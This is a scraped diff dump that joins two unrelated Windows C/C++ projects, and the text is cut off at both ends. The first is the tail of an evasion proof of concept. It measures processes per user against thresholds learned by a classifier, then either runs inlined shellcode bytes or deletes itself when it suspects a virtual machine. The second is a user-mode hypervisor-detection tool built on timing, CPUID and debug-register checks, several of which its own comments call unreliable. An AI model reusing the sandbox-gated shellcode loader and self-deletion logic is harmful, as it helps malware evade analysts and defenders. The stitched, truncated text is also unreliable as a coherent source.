return (*dwUserCount) ? TRUE : FALSE;
|
||||
}
|
||||
|
||||
|
||||
```
|
||||
|
||||
`src/InlinedShellcodeExecution.cxx`:
|
||||
|
||||
```cxx
|
||||
void InlinedShellcodeExecution(){
|
||||
|
||||
|
||||
// Inlined shellcode. IRL this should be injected somewhere, somehow: https://www.exploit-db.com/shellcodes/49819
|
||||
asm(".byte 0x48,0x31,0xff,0x48,0xf7,0xe7,0x65,0x48,0x8b,0x58,0x60,0x48,0x8b,0x5b,0x18,0x48,0x8b,0x5b,0x20,0x48,0x8b,0x1b,0x48,0x8b,0x1b,0x48,0x8b,0x5b,0x20,0x49,0x89,0xd8,0x8b,0x5b,0x3c,0x4c,0x01,0xc3,0x48,0x31,0xc9,0x66,0x81,0xc1,0xff,0x88,0x48,0xc1,0xe9,0x08,0x8b,0x14,0x0b,0x4c,0x01,0xc2,0x4d,0x31,0xd2,0x44,0x8b,0x52,0x1c,0x4d,0x01,0xc2,0x4d,0x31,0xdb,0x44,0x8b,0x5a,0x20,0x4d,0x01,0xc3,0x4d,0x31,0xe4,0x44,0x8b,0x62,0x24,0x4d,0x01,0xc4,0xeb,0x32,0x5b,0x59,0x48,0x31,0xc0,0x48,0x89,0xe2,0x51,0x48,0x8b,0x0c,0x24,0x48,0x31,0xff,0x41,0x8b,0x3c,0x83,0x4c,0x01,0xc7,0x48,0x89,0xd6,0xf3,0xa6,0x74,0x05,0x48,0xff,0xc0,0xeb,0xe6,0x59,0x66,0x41,0x8b,0x04,0x44,0x41,0x8b,0x04,0x82,0x4c,0x01,0xc0,0x53,0xc3,0x48,0x31,0xc9,0x80,0xc1,0x07,0x48,0xb8,0x0f,0xa8,0x96,0x91,0xba,0x87,0x9a,0x9c,0x48,0xf7,0xd0,0x48,0xc1,0xe8,0x08,0x50,0x51,0xe8,0xb0,0xff,0xff,0xff,0x49,0x89,0xc6,0x48,0x31,0xc9,0x48,0xf7,0xe1,0x50,0x48,0xb8,0x9c,0x9e,0x93,0x9c,0xd1,0x9a,0x87,0x9a,0x48,0xf7,0xd0,0x50,0x48,0x89,0xe1,0x48,0xff,0xc2,0x48,0x83,0xec,0x20,0x41,0xff,0xd6;");
|
||||
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
`src/VmDetection.cxx`:
|
||||
|
||||
```cxx
|
||||
#include "intelligence.h"
|
||||
|
||||
BOOL VmDetection(float process_count_per_user){
|
||||
|
||||
// Conditional extracted from DecisionTreeClassifier learnings
|
||||
if ((process_count_per_user > 75.3) || (process_count_per_user > 61.45 && process_count_per_user <= 69.3)){
|
||||
|
||||
PRINT("[i] Running on bare metal machine!\n");
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
`src/main.cxx`:
|
||||
|
||||
```cxx
|
||||
#include "intelligence.h"
|
||||
|
||||
int main(){
|
||||
|
||||
DWORD process_count = 0x0;
|
||||
DWORD user_count = 0x0;
|
||||
float process_per_user = 0.0f;
|
||||
|
||||
GetProcessCountViaSnapShot(&process_count);
|
||||
GetUniqueUserCountViaSnapshot(&user_count);
|
||||
|
||||
process_per_user = process_count / user_count;
|
||||
|
||||
PRINT("[i] Process Count : %ld\n", process_count );
|
||||
PRINT("[i] Process Count / User : %.2f\n" , process_per_user);
|
||||
PRINT("[i] Users Count : %ld\n", user_count );
|
||||
|
||||
if(VmDetection(process_per_user)){
|
||||
|
||||
// ShellcodeDetonation
|
||||
PRINT("[i] Executing shellcode!\n");
|
||||
InlinedShellcodeExecution();
|
||||
|
||||
}else{
|
||||
|
||||
// SelfDelete
|
||||
PRINT("[i] VM Detected. Self-deleting!\n");
|
||||
DeleteSelfFromDisk();
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,659 @@
|
||||
Project Path: arc_zer0condition_checkhv_um_ip0x_l7y
|
||||
|
||||
Source Tree:
|
||||
|
||||
```txt
|
||||
arc_zer0condition_checkhv_um_ip0x_l7y
|
||||
├── README.md
|
||||
├── hv_um.cpp
|
||||
├── hv_um.sln
|
||||
├── hv_um.vcxproj
|
||||
└── hv_um.vcxproj.filters
|
||||
|
||||
```
|
||||
|
||||
`README.md`:
|
||||
|
||||
```md
|
||||
## CheckSyntheticCPUID
|
||||
CPUID leaf is explicitly defined for hypervisors to expose their presence and vendor ID; any honest vm stack should set this up
|
||||
***
|
||||
|
||||
## CheckCrystalClock
|
||||
compare freq from crystal clock or base MHz to measured TSC freq via RDTSC againsst QueryPerformanceCounter; large mismatch suggests TSC scaling/offsetting or lazy CPUID emulation
|
||||
***
|
||||
|
||||
## CheckKUserSharedData
|
||||
calculate the delta between the shared page time and RDTSC; large deviation suggests the OS timer and TSC/time virtualization are out of sync
|
||||
***
|
||||
|
||||
## CheckUMIP_SGDT
|
||||
modern CPUs support UMIP (User Mode Instruction Prevention), executing instructions like SGDT, SIDT and SLDT should throw a #GP exception and be emulated by the OS; should be slower and return dummy-ish values; very fast SGDT suggests UMIP is off or badly emulated; keep in mind this doesnt apply for old CPUs
|
||||
***
|
||||
|
||||
## CheckERMSBEPT
|
||||
hardware debug breakpoint (Dr0) set on EXECUTE during rep movsb copy; baremetal fires breakpoint reliably; sloppy EPT hypervisors may suppress/intercept before debug logic triggers; trap not firing == possible EPT hook detected
|
||||
***
|
||||
|
||||
## CheckSchedulerSignature
|
||||
Sleep(0) thread yield wakeup latency via QPC; bare metal <10us typical; sloppy vCPU schedulers could show >1000us switching overhead from poor thread migration or time slice emulation
|
||||
***
|
||||
|
||||
## CheckTLBEPTPressure
|
||||
TLB hit (dense 64B strides) vs page walk (sparse 64KB strides) latency ratio; baremetal ~3-5x; nested paging (EPT/SLAT) >>10x due to 2 level table walks; sloppy hypervisors could leak this overhead
|
||||
***
|
||||
|
||||
## CheckTSCNoiseFloor
|
||||
consecutive rdtsc() deltas on isolated core; count peaks >1.5x mean; baremetal ~10% peaks from SMT/interrupts; possible sloppy vCPU timing may show unnatural consistency (<10% peaks) or jitter spikes
|
||||
***
|
||||
|
||||
```
|
||||
|
||||
`hv_um.cpp`:
|
||||
|
||||
```cpp
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include <intrin.h>
|
||||
#include <iomanip>
|
||||
#include <chrono>
|
||||
#include <vector>
|
||||
#include <algorithm>
|
||||
#include <cmath>
|
||||
#include <numeric>
|
||||
#include <thread>
|
||||
#include <mutex>
|
||||
|
||||
void Log(const char* label, const char* msg, bool detected) {
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
std::cout << "[";
|
||||
if (detected) {
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
std::cout << "failed";
|
||||
}
|
||||
else {
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::cout << "pass";
|
||||
}
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
std::cout << "] " << std::left << std::setw(25) << label << ": " << msg << std::endl;
|
||||
}
|
||||
|
||||
// if eax >= 0x40000000, a hypervisor interface is exposed.
|
||||
// check for a few common vendors (Hyper‑V, VMware, KVM, Xen).
|
||||
// note: can spoof or hide this leaf
|
||||
void CheckSyntheticCPUID() {
|
||||
int cpuInfo[4] = { 0 };
|
||||
__cpuid(cpuInfo, 0x40000000);
|
||||
|
||||
char vendor[13] = { 0 };
|
||||
memcpy(vendor, &cpuInfo[1], 4); // EBX
|
||||
memcpy(vendor + 4, &cpuInfo[2], 4); // ECX
|
||||
memcpy(vendor + 8, &cpuInfo[3], 4); // EDX
|
||||
|
||||
bool isHypervisor =
|
||||
(cpuInfo[0] >= 0x40000000) && (
|
||||
strcmp(vendor, "Microsoft Hv") == 0 ||
|
||||
strcmp(vendor, "VMwareVMware") == 0 ||
|
||||
strcmp(vendor, "KVMKVMKVM") == 0 ||
|
||||
strcmp(vendor, "XenVMMXenVMM") == 0
|
||||
);
|
||||
|
||||
char msg[128];
|
||||
sprintf_s(msg, "eax=0x%08X vendor=%s", cpuInfo[0], vendor);
|
||||
Log("synthetic CPUID", msg, isHypervisor);
|
||||
}
|
||||
|
||||
// measured TSC via rdtsc calibrated over wall clock QPC time
|
||||
// mismatch >5%: treated as suspicious (heuristic threshold)
|
||||
void CheckCrystalClock() {
|
||||
int leaf15[4] = { 0 };
|
||||
int leaf16[4] = { 0 };
|
||||
|
||||
__cpuid(leaf15, 0x15);
|
||||
__cpuid(leaf16, 0x16);
|
||||
|
||||
bool has15 = (leaf15[2] != 0); // ecx = crystal frequency if non‑zero
|
||||
bool has16 = (leaf16[0] != 0); // eax = base MHz if non‑zero
|
||||
|
||||
double official_hz = 0.0;
|
||||
|
||||
if (has15) {
|
||||
// TSC frequency from ratio + crystal clock
|
||||
unsigned int denom = leaf15[0] ? leaf15[0] : 1;
|
||||
unsigned int numer = leaf15[1] ? leaf15[1] : 1;
|
||||
double crystal = (double)leaf15[2]; // Hz
|
||||
official_hz = crystal * ((double)numer / (double)denom);
|
||||
}
|
||||
else if (has16) {
|
||||
unsigned int base_mhz = (unsigned int)leaf16[0];
|
||||
official_hz = (double)base_mhz * 1.0e6;
|
||||
}
|
||||
|
||||
LARGE_INTEGER freq, t1, t2;
|
||||
QueryPerformanceFrequency(&freq);
|
||||
QueryPerformanceCounter(&t1);
|
||||
|
||||
unsigned __int64 rdtsc1 = __rdtsc();
|
||||
Sleep(100);
|
||||
unsigned __int64 rdtsc2 = __rdtsc();
|
||||
QueryPerformanceCounter(&t2);
|
||||
|
||||
double wallSecs = (double)(t2.QuadPart - t1.QuadPart) / (double)freq.QuadPart;
|
||||
double measured_hz = (double)(rdtsc2 - rdtsc1) / wallSecs;
|
||||
|
||||
char msg[128];
|
||||
|
||||
if (official_hz > 0.0) {
|
||||
double pctDiff = fabs(official_hz - measured_hz) / official_hz;
|
||||
bool mismatch = (pctDiff > 0.05); // heuristic 5% tolerance
|
||||
|
||||
sprintf_s(msg, "official: %.0f MHz | measured: %.0f MHz | %.1f%% diff",
|
||||
official_hz / 1e6, measured_hz / 1e6, pctDiff * 100.0);
|
||||
|
||||
Log("CPUID.0x15/0x16", msg, mismatch);
|
||||
}
|
||||
else {
|
||||
sprintf_s(msg, "measured: %.0f MHz (no CPUID freq info)", measured_hz / 1e6);
|
||||
Log("TSC (measured only)", msg, false);
|
||||
}
|
||||
}
|
||||
|
||||
// KUSER_SHARED_DATA.InterruptTime at 0x7FFE0008/0x7FFE000C
|
||||
// kernel provided shared memory counter, updates at 10 MHz (100ns per tick)
|
||||
// hypervisors may inject skew or artificial stepping on this counter
|
||||
// detect delta outside [9M, 11M] over ~1 second (+=10% tolerance)
|
||||
void CheckKUserSharedData() {
|
||||
volatile DWORD* low = (DWORD*)0x7FFE0008;
|
||||
volatile DWORD* high = (DWORD*)0x7FFE000C;
|
||||
|
||||
ULONGLONG tsc1 = __rdtsc();
|
||||
(void)tsc1; // not used directly, but read is cheap
|
||||
ULONGLONG k1 = ((ULONGLONG)*high << 32) | *low;
|
||||
|
||||
Sleep(1000);
|
||||
|
||||
ULONGLONG tsc2 = __rdtsc();
|
||||
(void)tsc2;
|
||||
ULONGLONG k2 = ((ULONGLONG)*high << 32) | *low;
|
||||
|
||||
ULONGLONG kDelta = k2 - k1;
|
||||
bool skew = (kDelta < 9000000ULL || kDelta > 11000000ULL); // ±10% heuristic
|
||||
|
||||
char msg[64];
|
||||
sprintf_s(msg, "delta: %llu (10M expected)", kDelta);
|
||||
Log("KUSER_SHARED_DATA", msg, skew);
|
||||
}
|
||||
|
||||
// baremetal: executes directly, ~8k-10k cycles (varies by CPU generation)
|
||||
// UMIP enabled: kernel #GP trap emulation, ~5-15k cycles
|
||||
// hypervisor: may use fast path or synthetic timing, <1000 cycles (anomalous)
|
||||
// note: threshold varies significantly; not reliable across CPU generations
|
||||
void CheckUMIP_SGDT() {
|
||||
unsigned char gdtr[10] = { 0 };
|
||||
ULONGLONG t1 = __rdtsc();
|
||||
_sgdt(gdtr);
|
||||
ULONGLONG t2 = __rdtsc();
|
||||
|
||||
ULONGLONG cycles = t2 - t1;
|
||||
ULONGLONG base = *(ULONGLONG*)(gdtr + 2);
|
||||
|
||||
// Treat extremely low latency as suspicious (e.g. hypervisor fast‑path)
|
||||
bool suspicious = (cycles < 1000);
|
||||
|
||||
char msg[64];
|
||||
sprintf_s(msg, "cycles: %llu | base: 0x%llx", cycles, base);
|
||||
Log("SGDT/UMIP", msg, suspicious);
|
||||
}
|
||||
|
||||
// baremetal: 0.1-10us typical (workload dependent, highly variable)
|
||||
// hypervisor: may show >1000us overhead or suspiciously consistent timing
|
||||
// detect mean >1000us (arbitrary heuristic, unreliable)
|
||||
void CheckSchedulerSignature() {
|
||||
int num_cores = (int)std::thread::hardware_concurrency();
|
||||
if (num_cores < 2) return;
|
||||
|
||||
std::vector<double> wakeup_deltas;
|
||||
std::mutex m;
|
||||
|
||||
auto worker = [&](int core_id) {
|
||||
SetThreadAffinityMask(GetCurrentThread(), 1ULL << (core_id % num_cores));
|
||||
|
||||
LARGE_INTEGER qpf, qpc1, qpc2;
|
||||
QueryPerformanceFrequency(&qpf);
|
||||
|
||||
for (int i = 0; i < 20; i++) {
|
||||
QueryPerformanceCounter(&qpc1);
|
||||
Sleep(0);
|
||||
QueryPerformanceCounter(&qpc2);
|
||||
|
||||
double delta_us =
|
||||
((double)(qpc2.QuadPart - qpc1.QuadPart) * 1e6) / (double)qpf.QuadPart;
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m);
|
||||
wakeup_deltas.push_back(delta_us);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
std::thread t0(worker, 0);
|
||||
std::thread t1(worker, 1);
|
||||
t0.join();
|
||||
t1.join();
|
||||
|
||||
if (!wakeup_deltas.empty()) {
|
||||
double mean = std::accumulate(wakeup_deltas.begin(), wakeup_deltas.end(), 0.0) /
|
||||
wakeup_deltas.size();
|
||||
double sq_sum = 0.0;
|
||||
for (auto d : wakeup_deltas) sq_sum += (d - mean) * (d - mean);
|
||||
double variance = sq_sum / wakeup_deltas.size();
|
||||
|
||||
bool anomaly = (mean > 1000.0); // >1 ms mean wake latency -> suspicious
|
||||
|
||||
char msg[128];
|
||||
sprintf_s(msg, "slice: %.2f us | variance: %.2f | anomaly: %s",
|
||||
mean, variance, anomaly ? "yes" : "no");
|
||||
Log("SchedulerSignature", msg, anomaly);
|
||||
}
|
||||
}
|
||||
|
||||
// baremetal: ratio ~3-5x (page_walk / hit latency)
|
||||
// nested paging (EPT/SLAT): ratio >>10x due to 2 level page table walk
|
||||
// detect ratio >10 indicates hypervisor nested paging overhead
|
||||
void CheckTLBEPTPressure() {
|
||||
const size_t alloc_size = 64 * 1024 * 1024;
|
||||
void* region = VirtualAlloc(nullptr, alloc_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
if (!region) {
|
||||
std::cout << "[skip] CheckTLBEPTPressure: VirtualAlloc failed\n";
|
||||
return;
|
||||
}
|
||||
|
||||
std::vector<unsigned __int64> hit_latencies;
|
||||
std::vector<unsigned __int64> walk_latencies;
|
||||
|
||||
// TLB friendly: sequential low‑offset access
|
||||
for (size_t i = 0; i < 10000; i += 64) {
|
||||
unsigned char* p = (unsigned char*)region + i;
|
||||
unsigned __int64 t1 = __rdtsc();
|
||||
*p = 0x42;
|
||||
unsigned __int64 t2 = __rdtsc();
|
||||
hit_latencies.push_back(t2 - t1);
|
||||
}
|
||||
|
||||
// TLB unfriendly: sparse 16‑page strides (64KB) across the region
|
||||
for (size_t i = 0; i < alloc_size; i += 4096 * 16) {
|
||||
unsigned char* p = (unsigned char*)region + i;
|
||||
unsigned __int64 t1 = __rdtsc();
|
||||
*p = 0x42;
|
||||
unsigned __int64 t2 = __rdtsc();
|
||||
walk_latencies.push_back(t2 - t1);
|
||||
}
|
||||
|
||||
VirtualFree(region, 0, MEM_RELEASE);
|
||||
|
||||
if (!hit_latencies.empty() && !walk_latencies.empty()) {
|
||||
double mean_hit =
|
||||
std::accumulate(hit_latencies.begin(), hit_latencies.end(), 0.0) / hit_latencies.size();
|
||||
double mean_walk =
|
||||
std::accumulate(walk_latencies.begin(), walk_latencies.end(), 0.0) / walk_latencies.size();
|
||||
|
||||
double ratio = mean_walk / (mean_hit > 0 ? mean_hit : 1.0);
|
||||
bool anomaly = (ratio > 10.0);
|
||||
|
||||
char msg[128];
|
||||
sprintf_s(msg, "hit: %.0f cyc | walk: %.0f cyc | ratio: %.1f",
|
||||
mean_hit, mean_walk, ratio);
|
||||
Log("TLB/EPT pressure", msg, anomaly);
|
||||
}
|
||||
}
|
||||
|
||||
double calculate_stddev(const std::vector<unsigned __int64>& data, double mean) {
|
||||
double sq_sum = 0.0;
|
||||
for (auto v : data) {
|
||||
sq_sum += (v - mean) * (v - mean);
|
||||
}
|
||||
return std::sqrt(sq_sum / data.size());
|
||||
}
|
||||
|
||||
// baremetal: ~10% peaks (SMT interference, interrupts, freq scaling expected)
|
||||
// vCPU: <10% peaks possible (isolated synthetic timing)
|
||||
// detect >10% of samples are peaks (interfered timing)
|
||||
void CheckTSCNoiseFloor() {
|
||||
std::vector<unsigned __int64> deltas;
|
||||
deltas.reserve(100000);
|
||||
|
||||
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
|
||||
SetThreadAffinityMask(GetCurrentThread(), 1ULL); // core 0
|
||||
|
||||
unsigned __int64 prev_tsc = __rdtsc();
|
||||
|
||||
for (int i = 0; i < 100000; i++) {
|
||||
unsigned __int64 curr_tsc = __rdtsc();
|
||||
unsigned __int64 delta = curr_tsc - prev_tsc;
|
||||
|
||||
if (delta > 0 && delta < 10000) {
|
||||
deltas.push_back(delta);
|
||||
}
|
||||
|
||||
prev_tsc = curr_tsc;
|
||||
}
|
||||
|
||||
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);
|
||||
|
||||
if (deltas.size() > 1) {
|
||||
double mean = std::accumulate(deltas.begin(), deltas.end(), 0.0) / deltas.size();
|
||||
double sq_sum = 0.0;
|
||||
for (auto d : deltas) sq_sum += (d - mean) * (d - mean);
|
||||
double stddev = std::sqrt(sq_sum / deltas.size());
|
||||
|
||||
int count_high = 0;
|
||||
for (auto d : deltas) {
|
||||
if (d > mean * 1.5) count_high++;
|
||||
}
|
||||
|
||||
bool peaks = (count_high > (int)(deltas.size() * 0.1)); // >10% peaks
|
||||
|
||||
char msg[128];
|
||||
sprintf_s(msg, "mean: %.0f | stddev: %.0f | peaks>1.5x: %s",
|
||||
mean, stddev, peaks ? "yes" : "no");
|
||||
Log("TSCNoiseFloor", msg, peaks);
|
||||
}
|
||||
}
|
||||
|
||||
static int g_ermsb_trap_detected = 0;
|
||||
|
||||
static LONG WINAPI ErmsbExceptionHandler(PEXCEPTION_POINTERS ctx)
|
||||
{
|
||||
if (ctx->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
|
||||
{
|
||||
g_ermsb_trap_detected = 1;
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
//baremetal: debug breakpoints fire reliably during rep movsb
|
||||
//hypervisor w/ EPT hooks: breakpoint may not fire (EPT intercepts before debug logic)
|
||||
void CheckERMSBEPT()
|
||||
{
|
||||
void* src_page = VirtualAlloc(NULL, 0x2000, MEM_COMMIT, PAGE_READWRITE);
|
||||
void* dst_page = VirtualAlloc(NULL, 0x2000, MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
if (!src_page || !dst_page)
|
||||
return;
|
||||
|
||||
memset(src_page, 0xAB, 0x2000);
|
||||
|
||||
uint64_t breakpoint_addr = (uint64_t)src_page + 0x1000;
|
||||
|
||||
CONTEXT ctx = { 0 };
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
GetThreadContext(GetCurrentThread(), &ctx);
|
||||
|
||||
ctx.Dr0 = breakpoint_addr;
|
||||
|
||||
// Dr7 = 0x30001
|
||||
// bit 0 = 1: enable local breakpoint for Dr0
|
||||
// bits 17:16 = 11b: Dr0 break on instruction execution
|
||||
// bits 19:18 = 00b: length = 1 byte
|
||||
ctx.Dr7 = 0x30001;
|
||||
|
||||
PVOID veh = AddVectoredExceptionHandler(1, ErmsbExceptionHandler);
|
||||
SetThreadContext(GetCurrentThread(), &ctx);
|
||||
|
||||
g_ermsb_trap_detected = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
__movsb((PBYTE)dst_page, (PBYTE)src_page, 0x2000);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
// any exception during the copy is swallowed here;
|
||||
// the VEH will already have set g_ermsb_trap_detected if Dr0 fired.
|
||||
}
|
||||
|
||||
RemoveVectoredExceptionHandler(veh);
|
||||
|
||||
ctx.Dr7 = 0;
|
||||
SetThreadContext(GetCurrentThread(), &ctx);
|
||||
|
||||
VirtualFree(src_page, 0, MEM_RELEASE);
|
||||
VirtualFree(dst_page, 0, MEM_RELEASE);
|
||||
|
||||
bool anomaly = (g_ermsb_trap_detected == 0);
|
||||
|
||||
char msg[128];
|
||||
sprintf_s(msg, "trap triggered: %s | EPT hook detected: %s",
|
||||
g_ermsb_trap_detected ? "yes" : "no",
|
||||
anomaly ? "yes" : "no");
|
||||
|
||||
Log("ERMSB", msg, anomaly);
|
||||
}
|
||||
|
||||
int main() {
|
||||
SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
|
||||
|
||||
CheckSyntheticCPUID();
|
||||
CheckCrystalClock();
|
||||
//CheckERMSBEPT();
|
||||
|
||||
CheckUMIP_SGDT();
|
||||
CheckSchedulerSignature();
|
||||
CheckTLBEPTPressure();
|
||||
CheckTSCNoiseFloor();
|
||||
|
||||
CheckKUserSharedData();
|
||||
|
||||
printf("\nPress any key to exit.\n");
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
`hv_um.sln`:
|
||||
|
||||
```sln
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.13.35913.81 d17.13
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "hv_um", "hv_um.vcxproj", "{C62441FD-A2B8-473A-871E-AAFE85324453}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{C62441FD-A2B8-473A-871E-AAFE85324453}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{C62441FD-A2B8-473A-871E-AAFE85324453}.Debug|x64.Build.0 = Debug|x64
|
||||
{C62441FD-A2B8-473A-871E-AAFE85324453}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{C62441FD-A2B8-473A-871E-AAFE85324453}.Debug|x86.Build.0 = Debug|Win32
|
||||
{C62441FD-A2B8-473A-871E-AAFE85324453}.Release|x64.ActiveCfg = Release|x64
|
||||
{C62441FD-A2B8-473A-871E-AAFE85324453}.Release|x64.Build.0 = Release|x64
|
||||
{C62441FD-A2B8-473A-871E-AAFE85324453}.Release|x86.ActiveCfg = Release|Win32
|
||||
{C62441FD-A2B8-473A-871E-AAFE85324453}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {3DCBBC00-2386-4D33-82F4-DA732F7A2B53}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
|
||||
```
|
||||
|
||||
`hv_um.vcxproj`:
|
||||
|
||||
```vcxproj
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{c62441fd-a2b8-473a-871e-aafe85324453}</ProjectGuid>
|
||||
<RootNamespace>hvum</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
